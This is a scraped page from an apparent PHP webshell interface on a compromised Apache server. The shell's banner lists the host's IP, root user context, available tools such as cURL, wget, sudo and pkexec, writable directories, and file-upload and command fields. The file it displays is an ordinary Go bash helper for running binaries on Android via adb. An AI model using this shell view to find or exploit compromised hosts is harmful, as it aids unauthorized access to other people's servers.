403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.164
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/go/misc/arm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/go/misc/arm/a
#!/usr/bin/env bash

# Copyright 2010 The Go Authors. All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.

# This is a small script for executing go binaries on the android platform.
#
# example:
# ./a 5.out foo bar baz
#
# The script exports the local values of GOARCH, GOTRACEBACK and GOGC
# to the android environment.
#
# Known issues:
# The script fails unless the last character output by the program is "\n"
#
# TODO(kaib): add gdb bridge support

exp ()
{
	if [ ${!1} ]; then
		echo "export $1=\"${!1}\"; "
	fi
}

# adb does not correctly return the exit value of the executed program. use this
# wrapper to manually extract the exit value
rloc=/data/local/tmp/retval
rsize=$(adb shell "ls -l $rloc"|tr -s ' '|cut -d' ' -f4)
rcheck=38
if [ "$rsize" != "$rcheck" ]; then
#	echo "debug: retval size incorrect want $rcheck, got $rsize. uploading"
	echo  >/tmp/adb.retval '#!/system/bin/sh
"$@"
echo RETVAL: $?' 
	adb push /tmp/adb.retval $rloc >/dev/null 2>&1
	adb shell chmod 755 $rloc
fi

# run the main binary
if [ "-g" == "$1" ]; then
	adb forward tcp:$2 tcp:$2
	args=$(echo $*| cut -d' ' -f4-)
	adb push $3 /data/local/tmp/$3 >/dev/null 2>&1
	adb shell "$(exp GOARCH) $(exp GOTRACEBACK) $(exp GOGC) \
		gdbserver :$2 /data/local/tmp/retval /data/local/tmp/$3 $args" \
		2>&1|tr -d '\r' |tee /tmp/adb.out|grep -v RETVAL
else
	if [ "$*" != "$1" ]; then
		args=$(echo $*| cut -d' ' -f2-)
	fi
	adb push $1 /data/local/tmp/$1 >/dev/null 2>&1
	adb shell "$(exp GOARCH) $(exp GOTRACEBACK) $(exp GOGC) \
		/data/local/tmp/retval /data/local/tmp/$1 $args" \
		2>&1|tr -d '\r' |tee /tmp/adb.out|grep -v RETVAL
fi
exit $(grep RETVAL /tmp/adb.out|tr -d '\n\r'| cut -d' ' -f2)

Youez - 2016 - github.com/yon3zu
LinuXploit